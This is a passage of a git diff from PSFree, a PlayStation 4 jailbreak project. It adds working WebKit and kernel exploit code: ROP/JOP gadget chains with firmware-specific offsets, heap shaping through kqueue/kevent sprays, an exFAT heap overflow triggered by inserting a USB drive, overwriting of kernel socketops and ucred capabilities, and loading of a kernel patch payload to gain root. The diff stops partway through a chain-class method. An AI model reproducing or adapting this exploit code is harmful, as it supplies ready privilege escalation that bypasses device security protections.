+    chain.push_gadget('pop rcx; ret');
+    chain.push_constant(2);
+    chain.push_gadget('mov qword ptr [rsi], rcx; ret');
+    chain.push_end();
+
+    chain.run();
+    debug_log(`state2 must be 2: ${state2}`);
+    if (state2[0] !== 2) {
+        die('if branch taken');
+    }
+
+    debug_log('test syscall getuid()');
+    chain.clean();
+    // Set the return value to some random value. If the syscall worked, then
+    // it will likely change.
+    const magic = 0x4b435546;
+    rw.write32(chain._return_value, 0, magic);
+
+    const res = chain.syscall('getuid');
+
+    debug_log(`return value: ${res}`);
+    if (res.eq(magic)) {
+        die('syscall getuid failed');
+    }
+}
+
+function mlock_gadgets(gadgets) {
+    const chain = new Chain();
+
+    for (const [gadget, addr] of gadgets) {
+        // change this if you use longer gadgets
+        const max_gadget_length = 0x50;
+        chain.push_syscall('mlock', addr, max_gadget_length);
+    }
+    chain.push_end();
+    chain.run();
+    chain.clean();
+}
+
+function mlock_kchain(kchain) {
+    const chain = new Chain();
+    const stack_buffer = kchain.stack_buffer;
+    const stack_buffer_p = get_view_vector(new Uint8Array(stack_buffer));
+    // have a view point to the buffer of stack_buffer
+    chain.syscall('mlock', stack_buffer_p, stack_buffer.byteLength);
+    chain.syscall('mlock', kchain.retval_addr, kchain._return_value.length);
+    chain.syscall('mlock', kchain.jmp_buf_p, kchain.jmp_buf.length);
+}
+
+// pivots back to the original kernel stack with interrupts enabled
+function push_krop_end(kchain) {
+    kchain.push_gadget('pop rcx; ret');
+    kchain.push_value(kchain.get_gadget('sti; ret'));
+    kchain.push_gadget('leave; jmp rcx');
+}
+
+// The initial kernel patch will be to modify socketops.fo_chmod so that we can
+// run later kernel code via calling fchmod() on a socket descriptor.
+function prepare_knote(kchain) {
+    const chain = new Chain();
+    const size = 0x4000;
+    // PROT_READ | PROT_WRITE
+    const prot_rw = 3;
+    const MAP_ANON = 0x1000;
+    const MAP_FIXED = 0x10;
+
+    const mmap_area = new Addr(
+        chain.syscall(
+            'mmap',
+            0x4000,
+            size,
+            prot_rw,
+            MAP_ANON | MAP_FIXED,
+            -1,
+            0,
+        )
+    );
+
+    const knote = mmap_area;
+
+    debug_log(`knote addr: ${knote}`);
+    if (!knote.eq(0x4000)) {
+        die('mmap() failed');
+    }
+
+    const filterops = mmap_area.add(0x200);
+    const jop_buffer = mmap_area.add(0x1000);
+    const rax_ptrs = mmap_area.add(0x1008);
+    // scratch area used later
+    const scratch = mmap_area.add(0x2000);
+
+    const offset_kn_fop = 0x68;
+    knote.write64(0, jop_buffer);
+    knote.write64(offset_kn_fop, filterops);
+
+    const offset_f_detach = 0x10;
+    filterops.write64(offset_f_detach, kchain.get_gadget(kjop1));
+
+    jop_buffer.write64(0, rax_ptrs);
+
+    // for the kernel JOP chain
+    rax_ptrs.write64(0xe0, kchain.get_gadget(jop3));
+    rax_ptrs.write64(0x30, kchain.get_gadget(jop4));
+    rax_ptrs.write64(0x10, kchain.get_gadget(jop5));
+    // We need to cli before the pivot (to a user mode rsp) and to sti after
+    // the back pivot (the system needs to handle interrupts after all).
+    //
+    // Since ps4 5.00, a pseudo-SMAP mitigation has been employed. The thread
+    // scheduler checks if the stack pointer of a kernel thread is pointing to
+    // kernel memory, if not, crash the system.
+    rax_ptrs.write64(0, kchain.get_gadget('cli; jmp qword ptr [rax + 0x43]'));
+    rax_ptrs.write64(0x43, kchain.get_gadget(jop6));
+    // value to pivot rsp to
+    rax_ptrs.write64(0x18, kchain.stack_addr);
+
+    // * there are 2 calls to f_detach() in kqueue_close()
+    // * offset relative to the return address of the first f_detach()
+    // * epi = address of the epilogue of kqueue_close()
+    // kqueue_close() epilogue
+    const offset_kqueue_close_epi = 689;
+    // offset relative to epi
+    const offset_socketops = 0x179f39f;
+
+    // get kernel stack pointer
+    kchain.push_gadget('xchg rbp, rax; ret');
+    // ret_addr = *(rbp + 8)
+    kchain.push_gadget('add rax, 8; ret');
+    kchain.push_get_retval();
+    kchain.push_gadget('mov rax, qword ptr [rax]; ret');
+    // ret_addr += offset_kqueue_close_epi
+    kchain.push_gadget('pop rdx; ret');
+    kchain.push_constant(offset_kqueue_close_epi);
+    kchain.push_gadget('add rax, rdx; ret');
+    // modify return address to jump to the epilogue
+    // *(rbp + 8) = ret_addr
+    kchain.push_gadget('pop rcx; ret');
+    kchain.push_value(kchain.retval_addr);
+    kchain.push_gadget('mov rdx, qword ptr [rcx]; ret');
+    // save rax as it will get clobbered and we still need it
+    // currently, rax = epi
+    kchain.push_get_retval();
+    kchain.push_gadget('mov qword ptr [rdx], rax; mov al, 1; ret');
+
+    // restore rbp
+    kchain.push_gadget('pop rax; ret');
+    kchain.push_constant(-8);
+    kchain.push_gadget('add rax, rdx; ret');
+    kchain.push_gadget('xchg rbp, rax; ret');
+
+    // restore rax
+    kchain.push_gadget('pop rax; ret');
+    kchain.push_value(kchain.retval_addr);
+    kchain.push_gadget('mov rax, qword ptr [rax]; ret');
+
+    // socketops.fo_chmod = k2jop1
+    kchain.push_gadget('pop rdx; ret');
+    kchain.push_constant(offset_socketops + 0x40);
+    kchain.push_gadget('add rax, rdx; ret');
+    // also saves a kernel address (&socketops.fo_chmod)
+    kchain.push_get_retval();
+    kchain.push_gadget('pop rcx; ret');
+    kchain.push_value(kchain.retval_addr);
+    kchain.push_gadget('mov rdx, qword ptr [rcx]; ret');
+    kchain.push_gadget('pop rax; ret');
+    kchain.push_value(kchain.get_gadget(k2jop1));
+    kchain.push_gadget('mov qword ptr [rdx], rax; mov al, 1; ret');
+
+    // We'll check address 0x4000 later as an additional test to see if the
+    // kchain ran.
+    kchain.push_gadget('pop rdi; ret');
+    kchain.push_constant(0x4000);
+    kchain.push_gadget('pop rsi; ret');
+    kchain.push_constant('0xdeadbeefbeefdead');
+    kchain.push_gadget('mov qword ptr [rdi], rsi; ret');
+
+    push_krop_end(kchain);
+
+    chain.syscall('mlock', knote, size);
+
+    // the mmaped area will be reused for the fchmod() kernel ROP chain
+    return [mmap_area, size, jop_buffer, rax_ptrs, scratch];
+}
+
+// malloc/free until the heap is shaped in a certain way, such that the exFAT
+// heap oveflow bug overwrites a struct klist
+function trigger_oob(kchain) {
+    const chain = new Chain();
+
+    const num_kqueue = 0x1b0;
+    const kqueues = new Uint32Array(num_kqueue);
+    const kqueues_p = get_view_vector(kqueues);
+
+    for (let i = 0; i < num_kqueue; i++) {
+        chain.push_syscall('kqueue');
+        chain.push_gadget('pop rdi; ret');
+        chain.push_value(kqueues_p.add(i * 4));
+        chain.push_gadget('mov dword ptr [rdi], eax; ret');
+    }
+    chain.push_end();
+    chain.run();
+    chain.clean();
+
+    const AF_INET = 2;
+    const SOCK_STREAM = 1;
+    // socket file descriptor
+    const sd = chain.syscall('socket', AF_INET, SOCK_STREAM, 0);
+    // We suspect why they want a specific file descriptor is because
+    // kqueue_expand() allocates memory whose size depends on the file
+    // descriptor number.
+    //
+    // The specific malloc size is probably a part in their method in shaping
+    // the heap.
+    //
+    // socket() returns an int (32-bit signed integer)
+    // if sd.high() !== 0, socket() returned an error
+    if (sd.low() < 0x100 || sd.low() >= 0x200 || sd.high() !== 0) {
+        die(`invalid socket: ${sd}`);
+    }
+    debug_log(`socket descriptor: ${sd}`);
+
+    // spray kevents
+    const kevent = new Uint8Array(0x20);
+    const kevent_p = get_view_vector(kevent);
+    kevent_p.write64(0, sd);
+    // EV_ADD and EVFILT_READ
+    kevent_p.write32(0x8, 0x1ffff);
+    kevent_p.write32(0xc, 0);
+    kevent_p.write64(0x10, Int.Zero);
+    kevent_p.write64(0x18, Int.Zero);
+
+    for (let i = 0; i < num_kqueue; i++) {
+        // nchanges == 1, everything else is NULL/0
+        chain.push_syscall('kevent', kqueues[i], kevent_p, 1, 0, 0, 0);
+    }
+    chain.push_end();
+    chain.run();
+    chain.clean();
+
+    // fragment memory
+    for (let i = 18; i < num_kqueue; i += 2) {
+        chain.push_syscall('close', kqueues[i]);
+    }
+    chain.push_end();
+    chain.run();
+    chain.clean();
+
+    // trigger OOB
+    alert('insert USB');
+
+    // trigger corrupt knote
+    for (let i = 1; i < num_kqueue; i += 2) {
+        chain.push_syscall('close', kqueues[i]);
+    }
+    chain.push_end();
+    chain.run();
+    chain.clean();
+
+    const kretval = kchain.return_value;
+    debug_log(`kchain retval: ${kretval}`);
+    debug_log(kchain.jmp_buf);
+    debug_log(new Addr(0x4000).read64(0));
+    if (!kretval.eq('0xdeadbeefbeefdead')) {
+        die('heap overflow failed');
+    }
+    debug_log('kernel ROP chain ran successfully');
+    kchain.clean();
+
+    // reuse sd for the fchmod() kernel ROP chain
+    return [sd, kretval];
+}
+
+// socketops.fo_chmod() was previously invfo_chmod(), which just returned
+// EINVAL
+function push_ret_einval(kchain) {
+    const EINVAL = 22;
+    kchain.push_gadget('pop rax; ret');
+    kchain.push_constant(EINVAL);
+}
+
+function get_ucred_addr(kchain, sd, mmap_area) {
+    const chain = new Chain();
+    const offset_jmp_buf_rcx = 0x10;
+    const offset_thread_td_proc = 8;
+    const offset_proc_p_ucred = 0x40;
+
+    // we enter fo_chmod with rcx containing the "struct thread td" argument
+    kchain.push_save();
+
+    // rax = td
+    kchain.push_gadget('pop rax; ret');
+    kchain.push_value(kchain.jmp_buf_p);
+    kchain.push_gadget('pop rdx; ret');
+    kchain.push_constant(offset_jmp_buf_rcx);
+    kchain.push_gadget('add rax, rdx; ret');
+    kchain.push_gadget('mov rax, qword ptr [rax]; ret');
+    // rax = td->td_proc
+    kchain.push_gadget('pop rdx; ret');
+    kchain.push_constant(offset_thread_td_proc);
+    kchain.push_gadget('add rax, rdx; ret');
+    kchain.push_gadget('mov rax, qword ptr [rax]; ret');
+    // rax = td->td_proc->p_ucred
+    kchain.push_gadget('pop rdx; ret');
+    kchain.push_constant(offset_proc_p_ucred);
+    kchain.push_gadget('add rax, rdx; ret');
+    kchain.push_gadget('mov rax, qword ptr [rax]; ret');
+
+    kchain.push_get_retval();
+
+    kchain.push_restore();
+
+    push_ret_einval(kchain);
+
+    push_krop_end(kchain);
+
+    chain.syscall('fchmod', sd, mmap_area);
+    kchain.clean();
+
+    return kchain.return_value;
+}
+
+function get_jit_capabilities(kchain, sd, mmap_area, ucred_addr) {
+    const chain = new Chain();
+    // struct ucred has been customized for the ps4
+    //
+    // See
+    // OpenOrbis/mira-project/external/freebsd-headers/include/sys/ucred.h
+    // at https://github.com for the definition.
+    //
+    // Credits to CelesteBlue and Cryptogenic for telling which cr_sceCaps[x]
+    // to modify. Da Puppeh for the definition of ucred.
+    const p_ucred = ucred_addr;
+
+    // cr_sceCaps[0]
+    kchain.push_write64(p_ucred.add(0x60), new Int(-1));
+    // cr_sceCaps[1]
+    kchain.push_write64(p_ucred.add(0x68), new Int(-1));
+
+    push_ret_einval(kchain);
+
+    push_krop_end(kchain);
+
+    chain.syscall('fchmod', sd, mmap_area);
+    kchain.clean();
+}
+
+async function kexec_payload(kchain, sd, mmap_area, scratch) {
+    const chain = new Chain();
+    const map_size = 0x100000;
+    // PROT_READ | PROT_WRITE | PROT_EXEC
+    const prot_rwx = 7;
+    // PROT_READ | PROT_EXEC
+    const prot_rx = 5;
+    // PROT_READ | PROT_WRITE
+    const prot_rw = 3;
+    const map_shared = 1;
+
+    const exec_handle = chain.syscall('jitshm_create', 0, map_size, prot_rwx);
+
+    const write_handle = chain.syscall('jitshm_alias', exec_handle, prot_rw);
+
+    const exec_addr = new Addr(
+        chain.syscall(
+            'mmap',
+            '0x900000000',
+            map_size,
+            prot_rx,
+            map_shared,
+            exec_handle,
+            0,
+        )
+    );
+
+    const write_addr = new Addr(
+        chain.syscall(
+            'mmap',
+            '0x910000000',
+            map_size,
+            prot_rw,
+            map_shared,
+            write_handle,
+            0,
+        )
+    );
+
+    debug_log(`exec_addr: ${exec_addr}`);
+    debug_log(`write_addr: ${write_addr}`);
+    if (!exec_addr.eq('0x900000000') && !write_addr.eq('0x910000000')) {
+        die('mmap() for jit failed');
+    }
+
+    // mov eax, 0x1337; ret
+    const test_code = new Int('0xc300001337b8');
+
+    write_addr.write64(0, test_code);
+    alert('test jit exec');
+    let retval = chain.call(exec_addr);
+    alert('returned successfully');
+
+    debug_log(`jit retval: ${retval}`);
+    if (!retval.eq(0x1337)) {
+        die('test jit exec failed');
+    }
+
+    const buf = await get_patches('./kpatch/80x.elf');
+    // start of loadable segments is at offset 0x1000
+    const patches = new Uint8Array(buf, 0x1000);
+
+    if (patches.length > map_size) {
+        die(`patch file too large (>${$map_size}): ${patches.length}`);
+    }
+
+    // copy the file to executable memory
+    mem.set_addr(write_addr);
+    mem.worker.set(patches);
+
+    // Modify the stack frame so that we jump to exec_addr with interrupts
+    // enabled and rsp is a kernel address.
+    kchain.push_save();
+
+    // scratch[0] = rbp
+    kchain.push_gadget('xchg rbp, rax; ret');
+    kchain.push_gadget('pop rdi; ret');
+    kchain.push_value(scratch);
+    kchain.push_gadget('mov qword ptr [rdi], rax; ret');
+
+    // scratch[8] = old_rbp
+    kchain.push_gadget('mov rax, qword ptr [rax]; ret');
+    kchain.push_gadget('pop rdi; ret');
+    kchain.push_value(scratch.add(8));
+    kchain.push_gadget('mov qword ptr [rdi], rax; ret');
+
+    // rax = rbp
+    kchain.push_gadget('pop rax; ret');
+    kchain.push_value(scratch);
+    kchain.push_gadget('mov rax, qword ptr [rax]; ret');
+
+    // rax -= 8
+    kchain.push_gadget('pop rdx; ret');
+    kchain.push_constant(-8);
+    kchain.push_gadget('add rax, rdx; ret');
+
+    // scratch[0x10] = rbp - 8
+    kchain.push_gadget('pop rdi; ret');
+    kchain.push_value(scratch.add(0x10));
+    kchain.push_gadget('mov qword ptr [rdi], rax; ret');
+
+    // rdx = rbp - 8
+    kchain.push_gadget('pop rcx; ret');
+    kchain.push_value(scratch.add(0x10));
+    kchain.push_gadget('mov rdx, qword ptr [rcx]; ret');
+
+    // rax = old_rbp
+    kchain.push_gadget('pop rax; ret');
+    kchain.push_value(scratch.add(8));
+    kchain.push_gadget('mov rax, qword ptr [rax]; ret');
+
+    // *(rbp - 8) = old_rbp
+    kchain.push_gadget('mov qword ptr [rdx], rax; mov al, 1; ret');
+
+    // rdx = rbp
+    kchain.push_gadget('pop rcx; ret');
+    kchain.push_value(scratch);
+    kchain.push_gadget('mov rdx, qword ptr [rcx]; ret');
+
+    // *rbp = exec_addr
+    kchain.push_gadget('pop rax; ret');
+    kchain.push_value(exec_addr);
+    kchain.push_gadget('mov qword ptr [rdx], rax; mov al, 1; ret');
+
+    kchain.push_restore();
+
+    // rbp -= 8
+    kchain.push_gadget('xchg rbp, rax; ret');
+    kchain.push_gadget('pop rdx; ret');
+    kchain.push_constant(-8);
+    kchain.push_gadget('add rax, rdx; ret');
+    kchain.push_gadget('xchg rbp, rax; ret');
+
+    // have the payload return EINVAL for us, read push_ret_einval() for why
+    const EINVAL = 22;
+    // kpatch(kbase, EINVAL, NULL)
+    kchain.push_gadget('pop rdi; ret');
+    kchain.push_value(kbase);
+    kchain.push_gadget('pop rsi; ret');
+    kchain.push_constant(EINVAL);
+    kchain.push_gadget('pop rdx; ret');
+    kchain.push_constant(0);
+
+    push_krop_end(kchain);
+
+    chain.syscall('mlock', exec_addr, map_size);
+
+    alert('test jit kexec');
+    chain.syscall('fchmod', sd, mmap_area);
+    kchain.clean();
+
+    retval = chain.syscall('setuid', 0);
+    debug_log(`setuid(): ${retval}`);
+    if (!retval.eq(0)) {
+        die('kpatch() failed');
+    }
+    debug_log('kernel exploit succeeded!');
+}
+
+async function get_patches(url) {
+    const response = await fetch(url);
+
+    if (!response.ok) {
+        throw Error(
+            `Network response was not OK, status: ${response.status}\n`
+            + `failed to fetch: ${url}`
+        );
+    }
+
+    return await response.arrayBuffer();
+}
+
+async function kexploit() {
+    init(Chain);
+    const kchain = new Chain();
+
+    mlock_gadgets(gadgets);
+    mlock_kchain(kchain);
+    const [
+        mmap_area,
+        mmap_area_size,
+        jop_buffer,
+        rax_ptrs,
+        scratch,
+    ] = prepare_knote(kchain);
+    const [sd, kretval] = trigger_oob(kchain);
+
+    // offset relative to kernel base
+    const offset_k_socketops_fo_chmod = 0x1a76060;
+    kbase = kretval.sub(offset_k_socketops_fo_chmod);
+    debug_log(`kbase: ${kbase}`);
+
+    // setup for fchmod() kernel ROP chain
+    mmap_area.write64(8, jop_buffer);
+    rax_ptrs.write64(0x70, kchain.get_gadget(jop2));
+
+    const p_ucred = get_ucred_addr(kchain, sd, mmap_area);
+    debug_log(`p_ucred: ${p_ucred}`);
+
+    get_jit_capabilities(kchain, sd, mmap_area, p_ucred);
+    await kexec_payload(kchain, sd, mmap_area, scratch);
+}
+
+kexploit();
diff --git a/rop/850.mjs b/rop/850.mjs
new file mode 100644
index 0000000..41f28c4
--- /dev/null
+++ b/rop/850.mjs
@@ -0,0 +1,685 @@
+/* Copyright (C) 2024 anonymous
+
+This file is part of PSFree.
+
+PSFree is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+PSFree is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program.  If not, see <https://www.gnu.org/licenses/>.  */
+
+// by janisslsm (John) from ps4-dev discord
+
+import * as config from '../config.mjs';
+
+import { Int } from '../module/int64.mjs';
+import { debug_log, die } from '../module/utils.mjs';
+import { Addr, mem } from '../module/mem.mjs';
+import { KB, MB } from '../module/constants.mjs';
+import { ChainBase } from '../module/chain.mjs';
+
+import {
+    make_buffer,
+    find_base,
+    get_view_vector,
+    resolve_import,
+    init_syscall_array,
+} from '../module/memtools.mjs';
+
+import * as rw from '../module/rw.mjs';
+import * as o from '../module/offset.mjs';
+
+const origin = window.origin;
+const port = '8000';
+const url = `${origin}:${port}`;
+
+const syscall_array = [];
+
+const offset_textarea_impl = 0x18;
+
+// WebKit offsets of imported functions
+const offset_wk_stack_chk_fail = 0x8D8;
+const offset_wk_memcpy = 0x8E8;
+
+// libSceLibcInternal offsets
+const offset_libc_setjmp = 0x25904;
+const offset_libc_longjmp = 0x29C38;
+
+// see the disassembly of setjmp() from the dump of libSceLibcInternal.sprx
+//
+// int setjmp(jmp_buf)
+// noreturn longjmp(jmp_buf)
+//
+// This version of longjmp() does not take another argument to be used as
+// setjmp()'s return value. Offset 0 of the jmp_buf will be the restored
+// rax. Change it if you want a specific value from setjmp() after the
+// longjmp().
+const jmp_buf_size = 0xc8;
+let setjmp_addr = null;
+let longjmp_addr = null;
+
+// libSceNKWebKit.sprx
+let libwebkit_base = null;
+// libkernel_web.sprx
+let libkernel_base = null;
+// libSceLibcInternal.sprx
+let libc_base = null;
+
+// Chain implementation based on Chain803. Replaced offsets that changed
+// between versions. Replaced gadgets that were missing with new ones that
+// won't change the API.
+
+// gadgets for the JOP chain
+//
+// When the scrollLeft getter native function is called on PS4 8.50, rsi is the
+// JS wrapper for the WebCore textarea class.
+const jop1 = `
+mov rdi, qword ptr [rsi + 0x20]
+mov rax, qword ptr [rdi]
+call qword ptr [rax + 0x28]
+`;
+// Since the method of code redirection we used is via redirecting a call to
+// jump to our JOP chain, we have the return address of the caller on entry.
+//
+// jop1 pushed another object (via the call instruction) but we want no extra
+// objects between the return address and the rbp that will be pushed by jop3
+// later. So we pop the return address pushed by jop1.
+//
+// This will make pivoting back easy, just "leave; ret".
+const jop2 = `
+pop rsi
+jmp qword ptr [rax + 0x60]
+`;
+// rbp is now pushed, any extra objects pushed by the call instructions can be
+// ignored
+const jop3 = `
+push rbp
+mov rbp, rsp
+mov rax, qword ptr [rdi]
+call qword ptr [rax + 0x30]
+`;
+const jop4 = `
+mov rdx, qword ptr [rax + 0x18]
+mov rax, qword ptr [rdi]
+call qword ptr [rax + 0x10]
+`;
+const jop5 = `
+push rdx
+jmp qword ptr [rax]
+`;
+const jop6 = 'pop rsp; ret';
+
+// the ps4 firmware is compiled to use rbp as a frame pointer
+//
+// The JOP chain pushed rbp and moved rsp to rbp before the pivot. The chain
+// must save rbp (rsp before the pivot) somewhere if it uses it. The chain must
+// restore rbp (if needed) before the epilogue.
+//
+// The epilogue will move rbp to rsp (restore old rsp) and pop rbp (which we
+// pushed earlier before the pivot, thus restoring the old rbp).
+//
+// leave instruction equivalent:
+//     mov rsp, rbp
+//     pop rbp
+const rop_epilogue = 'leave; ret';
+
+const push_rdx_jmp = `
+push rdx
+jmp qword ptr [rax]
+`;
+
+const webkit_gadget_offsets = new Map(Object.entries({
+    'pop rax; ret' : 0x000000000001ac7b,
+    'pop rbx; ret' : 0x000000000000c46d,
+    'pop rcx; ret' : 0x000000000001ac5f,
+    'pop rdx; ret' : 0x0000000000282ea2,
+
+    'pop rbp; ret' : 0x00000000000000b6,
+    'pop rsi; ret' : 0x0000000000050878,
+    'pop rdi; ret' : 0x0000000000091afa,
+    'pop rsp; ret' : 0x0000000000073c2b,
+
+    'pop r8; ret' : 0x000000000003b4b3,
+    'pop r9; ret' : 0x00000000010f372f,
+    'pop r10; ret' : 0x0000000000b1a721,
+    'pop r11; ret' : 0x0000000000eaba69,
+
+    'pop r12; ret' : 0x00000000004abe58,
+    'pop r13; ret' : 0x00000000019a0d8b,
+    'pop r14; ret' : 0x0000000000050877,
+    'pop r15; ret' : 0x0000000000091af9,
+
+    'ret' : 0x0000000000000032,
+    'leave; ret' : 0x000000000001ba53,
+
+    'neg rax; and rax, rcx; ret' : 0x00000000014c5ab4,
+    'adc esi, esi; ret' : 0x0000000000bcfa29,
+    'add rax, rdx; ret' : 0x0000000000d26d4c,
+    'add rcx, rsi; and rdx, rcx; or rax, rdx; ret' : 0x00000000015a74c6,
+    'pop rdi; jmp qword ptr [rax + 0x1d]' : 0x00000000021f4f09,
+
+    'mov qword ptr [rdi], rsi; ret' : 0x000000000018f010,
+    'mov rax, qword ptr [rax]; ret' : 0x000000000003734c,
+    'mov qword ptr [rdi], rax; ret' : 0x000000000001433b,
+    'mov rdx, rcx; ret' : 0x0000000000f2c94d,
+
+    [push_rdx_jmp] : 0x00000000021f10fd,
+
+    [jop1] : 0x00000000002613e8,
+    [jop2] : 0x00000000021f930e,
+    [jop3] : 0x00000000011c9df0,
+    [jop4] : 0x0000000000481769,
+    [jop5] : 0x00000000021f10fd,
+    [jop6] : 0x0000000000073c2b,
+}));
+
+const libc_gadget_offsets = new Map(Object.entries({
+    'neg rax; ret' : 0x00000000000d3df3,
+    'mov rdx, rax; xor eax, eax; shl rdx, cl; ret' : 0x00000000000cef39,
+    'mov qword ptr [rsi], rcx; ret' : 0x00000000000cf8e2,
+    'setjmp' : offset_libc_setjmp,
+    'longjmp' : offset_libc_longjmp,
+}));
+
+const gadgets = new Map();
+
+function get_bases() {
+    const textarea = document.createElement('textarea');
+    const webcore_textarea = mem.addrof(textarea).readp(offset_textarea_impl);
+    const textarea_vtable = webcore_textarea.readp(0);
+    const libwebkit_base = find_base(textarea_vtable, true, true);
+
+    const stack_chk_fail_import =
+        libwebkit_base
+        .add(offset_wk_stack_chk_fail)
+    ;
+    const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
+    const libkernel_base = find_base(stack_chk_fail_addr, true, true);
+
+    const memcpy_import = libwebkit_base.add(offset_wk_memcpy);
+    const memcpy_addr = resolve_import(memcpy_import);
+    const libc_base = find_base(memcpy_addr, true, true);
+
+    return [
+        libwebkit_base,
+        libkernel_base,
+        libc_base,
+    ];
+}
+
+function init_gadget_map(gadget_map, offset_map, base_addr) {
+    for (const [insn, offset] of offset_map) {
+        gadget_map.set(insn, base_addr.add(offset));
+    }
+}
+
+class Chain850Base extends ChainBase {
+    constructor() {
+        super();
+
+        // for conditional jumps
+        this._clean_branch_ctx();
+        this.flag = new Uint8Array(8);
+        this.flag_addr = get_view_vector(this.flag);
+        this.jmp_target = new Uint8Array(0x100);
+        rw.write64(this.jmp_target, 0x1d, this.get_gadget(push_rdx_jmp));
+        rw.write64(this.jmp_target, 0, this.get_gadget('pop rsp; ret'));
+
+        // for save/restore
+        this.is_saved = false;
+        const jmp_buf_size = 0xc8;
+        this.jmp_buf = new Uint8Array(jmp_buf_size);
+        this.jmp_buf_p = get_view_vector(this.jmp_buf);
+    }
+
+    // sequence to pivot back and return
+    push_end() {
+        this.push_gadget(rop_epilogue);
+    }
+
+    check_is_branching() {
+        if (this.is_branch_ctx) {
+            throw Error('chain is still branching, end it before running');
+        }
+    }
+
+    push_value(value) {
+        super.push_value(value);
+
+        if (this.is_branch_ctx) {
+            this.branch_position += 8;
+        }
+    }
+
+    _clean_branch_ctx() {
+        this.is_branch_ctx = false;
+        this.branch_position = null;
+        this.delta_slot = null;
+        this.rsp_slot = null;
+        this.rsp_position = null;
+    }
+
+    clean() {
+        super.clean();
+        this._clean_branch_ctx();
+        this.is_saved = false;
+    }
+
+    // Use start_branch() and end_branch() to delimit a ROP chain that will
+    // conditionally execute. rax must be set accordingly before the branch.
+    // rax == 0 means execute the conditional chain.
+    //
+    // example that always execute the conditional chain:
+    //     chain.push_gadget('mov rax, 0; ret');
+    //     chain.start_branch();
+    //     chain.push_gadget('pop rbx; ret'); // always executed
+    //     chain.end_branch();
+    start_branch() {
+        if (this.is_branch_ctx) {
+            throw Error('chain already branching, end it first');
+        }
+
+        // clobbers rax, rcx, rdi, rsi
+        //
+        // u64 flag = 0 if -rax == 0 else 1
+        // *flag_addr = flag
+        this.push_gadget('pop rcx; ret');
+        this.push_constant(-1);
+        this.push_gadget('neg rax; ret');
+        this.push_gadget('pop rsi; ret');
+        this.push_constant(0);
+        this.push_gadget('adc esi, esi; ret');
+        this.push_gadget('pop rdi; ret');
+        this.push_value(this.flag_addr);
+        this.push_gadget('mov qword ptr [rdi], rsi; ret');
+
+        // clobbers rax, rcx, rdi
+        //
+        // rax = *flag_addr
+        // rcx = delta
+        // rax = -rax & rcx
+        // *flag_addr = rax
+        this.push_gadget('pop rax; ret');
+        this.push_value(this.flag_addr);
+        this.push_gadget('mov rax, qword ptr [rax]; ret');
+
+        // dummy value, overwritten later by end_branch()
+        this.push_gadget('pop rcx; ret');
+        this.delta_slot = this.position;
+        this.push_constant(0);
+
+        this.push_gadget('neg rax; and rax, rcx; ret');
+        this.push_gadget('pop rdi; ret');
+        this.push_value(this.flag_addr);
+        this.push_gadget('mov qword ptr [rdi], rax; ret');
+
+        // clobbers rax, rcx, rdx, rsi
+        //
+        // rcx = rsp_position
+        // rsi = rsp
+        // rcx += rsi
+        // rdx = rcx
+        //
+        // dummy value, overwritten later at the end of start_branch()
+        this.push_gadget('pop rcx; ret');
+        this.rsp_slot = this.position;
+        this.push_constant(0);
+
+        this.push_gadget('pop rsi; ret');
+        this.push_value(this.stack_addr.add(this.position + 8));
+
+        // rsp collected here, start counting how much to perturb rsp
+        this.branch_position = 0;
+        this.is_branch_ctx = true;
+
+        this.push_gadget('add rcx, rsi; and rdx, rcx; or rax, rdx; ret');
+        this.push_gadget('mov rdx, rcx; ret');
+
+        // clobbers rax
+        //
+        // rax = *flag_addr
+        this.push_gadget('pop rax; ret');
+        this.push_value(this.flag_addr);
+        this.push_gadget('mov rax, qword ptr [rax]; ret');
+
+        // clobbers rax
+        //
+        // rax += rdx
+        // new_rsp = rax
+        this.push_gadget('add rax, rdx; ret');
+
+        // clobbers rdi
+        //
+        // for debugging, save new_rsp to flag_addr so we can verify it later
+        this.push_gadget('pop rdi; ret');
+        this.push_value(this.flag_addr);
+        this.push_gadget('mov qword ptr [rdi], rax; ret');
+
+        // clobbers rdx, rcx
+        //
+        // rdx = rax
+        this.push_gadget('pop rcx; ret');
+        this.push_constant(0);
+        this.push_gadget('mov rdx, rax; xor eax, eax; shl rdx, cl; ret');
+
+        // clobbers rax, rdx, rdi, rsp
+        //
+        // rsp = rdx
+        this.push_gadget('pop rax; ret');
+        this.push_value(get_view_vector(this.jmp_target));
+        this.push_gadget('pop rdi; jmp qword ptr [rax + 0x1d]');
+        this.push_constant(0); // padding for the push
+
+        this.rsp_position = this.branch_position;
+        rw.write64(this.stack, this.rsp_slot, new Int(this.rsp_position));
+    }
+
+    end_branch() {
+        if (!this.is_branch_ctx) {
+            throw Error('can not end nonbranching chain');
+        }
+
+        const delta = this.branch_position - this.rsp_position;
+        rw.write64(this.stack, this.delta_slot, new Int(delta));
+        this._clean_branch_ctx();
+    }
+
+    // clobbers rax, rdi, rsi
+    push_save() {
+        if (this.is_saved) {
+            throw Error('restore first before saving again');
+        }
+        this.push_call(this.get_gadget('setjmp'), this.jmp_buf_p);
+        this.is_saved = true;
+    }
+
+    // Force a push_restore() if at runtime you can ensure the save/restore
+    // pair line up.
+    push_restore(is_force=false) {
+        if (!this.is_saved && !is_force) {
+            throw Error('save first before restoring');
+        }
+        // modify jmp_buf.rsp
+        this.push_gadget('pop rax; ret');
+        const rsp_slot = this.position;
+        // dummy value, overwritten later at the end of push_restore()
+        this.push_constant(0);
+        this.push_gadget('pop rdi; ret');
+        this.push_value(this.jmp_buf_p.add(0x38));
+        this.push_gadget('mov qword ptr [rdi], rax; ret');
+
+        // modify jmp_buf.return_address
+        this.push_gadget('pop rax; ret');
+        this.push_value(this.get_gadget('ret'));
+        this.push_gadget('pop rdi; ret');
+        this.push_value(this.jmp_buf_p.add(0x80));
+        this.push_gadget('mov qword ptr [rdi], rax; ret');
+
+        this.push_call(this.get_gadget('longjmp'), this.jmp_buf_p);
+
+        // Padding as longjmp() pushes the rdi and return address in the
+        // jmp_buf at the target rsp.
+        this.push_constant(0);
+        this.push_constant(0);
+        const target_rsp = this.stack_addr.add(this.position);
+
+        rw.write64(this.stack, rsp_slot, target_rsp);
+        this.is_saved = false;
+    }
+
+    push_get_retval() {
